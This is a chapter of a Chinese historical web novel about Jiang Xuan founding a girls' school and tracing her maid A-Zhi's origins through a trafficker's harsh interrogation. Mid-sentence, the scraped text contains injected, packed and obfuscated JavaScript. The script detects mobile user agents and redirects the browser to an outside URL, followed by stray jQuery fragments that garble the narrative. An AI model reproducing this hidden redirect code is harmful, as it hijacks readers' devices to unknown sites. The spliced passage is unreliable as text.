冬去春来,一眨眼翻了年。
杨夫人联系的林、花两位娘子,也赶在正月过完前上了庐州。
江萱犹记得那日自己亲自接见二位娘子,恍惚间似见春日桃花,纵是眼角皱纹横生,也难掩二位娘子年轻时的风华之姿。
江萱忽地想起江祁说起的故事来,眼神一眨隐下心中思绪,笑着给二位娘子置办住处,又与二位娘子坐下闲话。
原来林、花二位娘子幼时磋磨,幸有一技之长傍身,脱籍后尚能养活自身。然因出身不好,一直不曾嫁人,二人便结为姐妹相伴而居。
她二人原以为便要这样聊此残生,幸而收到杨夫人的手信,便马不停蹄地北上寻江萱。
江萱细细问过二人技艺,其中林娘子精于筹算,一手算盘打得出神入化,从前有不少商贾人家求她上门教子女算学;而另一位花娘子则善女红,能劈线十六股,所绣花朵蝴蝶宛如真物,江南不少绣娘都求她传授技艺。
如此技艺精绝二女,竟舍得抛下江南产业入江氏为师,江萱一时难解。
林娘子却道她们姐妹二人孤身于世,虽能经营家产,却易受有心之人觊觎,倒不如前来江氏教女儿们经营针线,也算有所依傍。
能得二位真才实学之人,江萱心中大喜,忙奉束侑礼拜过,又拨了靠近学堂的一间空院子为二位娘子住所,约定月俸、授课时间几何,方遣人送二位娘子前去歇息。
眼下日暮西山,又没到传膳的时候,江萱望着书桌上那一叠花笺出神。
那日后三日,江祁便赶着要回京,临行前来江家拜见过江太夫人。未免落人话柄,江萱与他不曾私下见面,只叫阿芷送了他一枚写着“平安”二字的书笺与一整套文房四宝,用得还是之前他送自己的那叠。
阿芷没说江祁收到这些东西后的表情,江萱却时不时出神,过后又忍不住拍拍自己的脸。
她做着一切不过是为了谢江祁当时的帮助,才没有别得心思。江萱这样想着,遂把江祁抛掷脑后,专心琢磨起女学的事情来。
自林花二位娘子入女学来,族中对女学的争议少了许多。一因二者于江南一地略有名气,以名家为师也是增添江氏荣光;
二来两位娘子所授课程于江氏女儿婚事皆有益处,精筹算善管家又通针织女红,正为庐州大户人家所重,因而便是连旁支子女的婚事都上了一个台阶,族中更无人有异议。
又有杨山长先前所书匾额,高悬女学学堂正前,引得庐州各家纷纷仰慕,一时间庐州女学兴盛,大有效仿之态。
江萱念及庐州女子并非人人都读的起书,便每月拨五人名额于民间,凡家世贫困、孤身一人的未婚女子皆可入江氏女学读书,若学有所成便可再学一月,一应束侑饮食皆由江萱担负。
倘若家境殷实者想入女学,则一应饮食开支自费,还需按月上缴束侑,也算是给族中多了个进项。
正因江萱兴办女学,致使往后十数年见庐州女子地位愈盛,经商者不计其数,又引领淮南一地风潮,女子不再受限于相夫教子,更频出女文人女豪杰,文人骚客赞女子独立自强不输于男子。
然此后话暂且不提,如今的女学方才起步,正处于步步谨慎的状态。江萱打理家产之余,整日思考如何精进女学教义,好不充实。
至于景庄那儿,泥瓦匠已照图纸修改各处,过了年便将桑树栽上,等江萱再临景庄,便见暖室内新芽几粒簇在枝头。
待枝桠抽条,冒出巴掌大的青叶,景庄闲暇妇女便养蚕谋生。江萱见过那些个蚕,条条都有小拇指粗细。
等蚕退过三次皮,春风吹拂,绿水碧波,江萱褪下一身厚重衣服换上粉蓝衣裳,更比春光明媚动人几许。
阿芷的个子也往上窜了几寸,瞅着要比江萱高上半个头,却依旧成日黏着江萱,怎样赶都不肯走。
这日午后,江萱因午膳用得有些撑了,正卧在榻上消食,忽闻门外传唤,说是江太夫人差人来寻她和阿芷,却又不说寻她们什么事,便遂意绾了头发往江太夫人房中去。
待江萱赶到正厅,只见一刀疤男子立在堂中,低眉顺眼对着江太夫人。
江萱拜过江太夫人,顺势在旁方椅上坐下,满脸疑惑朝江太夫人看去,又见江太夫人对那男人点点头,听那男人道:
“小人按太夫人与姑娘的吩咐寻阿芷姑娘身份多年,近日找到一人伢,似与阿芷姑娘身份有关……”
话音未落,江萱蹭的一下从方椅上站起,便连手中的茶盏都没有拿稳,一下落在地上摔得粉碎。
“那阿芷的身世查得如何?”江萱的手微微颤抖,急促问道。
男人低头回道:“如今方捉了人来,还在审问当中。”
庭中叽叽喳喳一群麻雀飞过,江萱这才察觉自己事态,扶着茶几缓缓坐下。
地上的碎瓷片很快没了踪迹,江萱抬首欲饮一口茶水,方觉那茶盏早被自己丢在地上,遂欲收回手。
然一盏莲花纹青瓷茶盏陡然出现在手边,江萱诧异抬首,只见阿芷嘴角含笑看向她,眼中隐隐似有泪光。
江萱反握住她的手,眸中亦有泪痕。
良久,江萱像是下定了决心,朝江太夫人恳求道:“祖母,我想去瞧瞧。”
江萱眼中似有火珠迸发,男人不敢擅作主张,遂看向江太夫人。
江太夫人手里拨着念珠,语气平稳道:“想去就去吧,人生憾事能少一件便少一件。”
江萱既得了江太夫人允许,忙起身让男人带路,阿芷紧随其后。
然那人伢并非被关在江氏,而是被男人往庄子上一丢,故而须等车夫把车套好才能出行。
等江萱一行人赶到庄子里的暗牢,那人伢已被逼问许多回,哪怕是隔着一道门板,也能够闻见里头的铁锈味。
“里头不干净,姑娘还是站在外头的好。”男人恭恭敬敬提醒江萱。
江萱却不信,悄没声透过门缝隙往里头瞧,只一眼便觉腹腔内排山倒海,转身扶助门柱大吐特吐起来。
阿芷被江萱惊住,一边使人端热水来,一边轻抚江萱背脊好让她好受些。然阿芷心中好奇门内景象,正要和江萱一样往里头瞧,却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530491|203676||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仿佛被江萱洞穿心思,一把被抓住手腕/
“别看,里头不干净。”
阿芷心里虽困惑,但江萱的话她又无法拒绝,只得按下心中好奇,和江萱一道在外头等结果。
=====
暗牢内,浑浊的空气混合铁锈味,不由另人作呕。
审讯的人挥舞手中铁棍,一下又一下打在捆人的木桩上。
那人伢被捆在木桩上早就吓破了单,双腿直哆嗦。
“好爷爷,该招的,不该招的,我都招了,实在是记不得爷爷口中说的那位姑娘。”
“你再好好仔细想,慢慢想。”审讯人是老手了,自然知道眼前人没有完全说实话,随手将那铁棍往火炉上一放,威慑道。
人伢自知在审讯人面前死皮赖脸绝无好下场,便哭丧着脸问道:“好爷爷,您总得和我说说那姑娘长什么样子,身上有什么特点吧?”
审讯人见人伢这么配合也不打算太过为难他,便将阿芷的体貌特征一一说道:“耳后有一点红痣,看着像是大户人家的女儿,听口音像是南边人,你有印象不?”
那人伢听到他这样说,眉眼瞬间耷拉下来:“爷爷,这从我手里经过的姑娘少说也二三百个,耳后有红痣的就有十来个,您能不能说得具体些。”
未等那人伢语毕,一条短鞭呼得朝他脸上甩来,硬生生将他身上的几层麻皮破出几道痕来。
“爷爷的耐心可不多,你可别想着糊弄了事。”审讯人上前一大步,紧紧拽住人伢的领子,脸上耐性顿时全无,任凭那人伢有什么伶牙俐齿的本事,在他面前通通都使不出来。
人伢显然是被那一鞭吓着,这下不敢不答:“我说我说。”
“我虽是人伢,却也不是挨家挨户寻了去买的,有几个姑娘转了好几道才到我手上。爷爷方才说得南方口音耳后有红痣的姑娘,我印象里倒是有几个。只是……”
那人伢稍微顿了顿,一柄长条就朝他打来。
“吞吞吐吐的做什么,快说!”
“是是是。”人伢欲哭无泪,绞尽脑汁地思索脑海中关于这好几些年前的事情,继续道,“当年淮南江南二地闹了水患,途中走丢了病死了好几个,我……我是真的记不清了啊!”
话题到此,江萱与阿芷在外听得分明,阿芷手足无措地看向江萱,不知道该如何是好。
江萱神色微定,转头对男人说道:“人伢买人都是有手续的,不可能从不认识的人手里买人。你们再问问他,当年都有从谁手上卖过人,一一查过去,我就不信还找不到。”
“是。”男人低着头,接过江萱号令,转身就要进门,又听得江萱道。
“若他吐干净了,就送到县衙里去,请县令大人裁决。”江萱顿了顿,仰首朝碧天看去,不远处一直纸鸢划过天空,偶尔听见几声从庄子上传来的孩童嬉闹声,“倘若能依此人话语寻回那些被拐卖走的孩子就好了。”
男人低着头忽地抬起,看着江萱纤弱背影愣了愣,旋即又迅速低下,传来一声低低的话语。
“是。”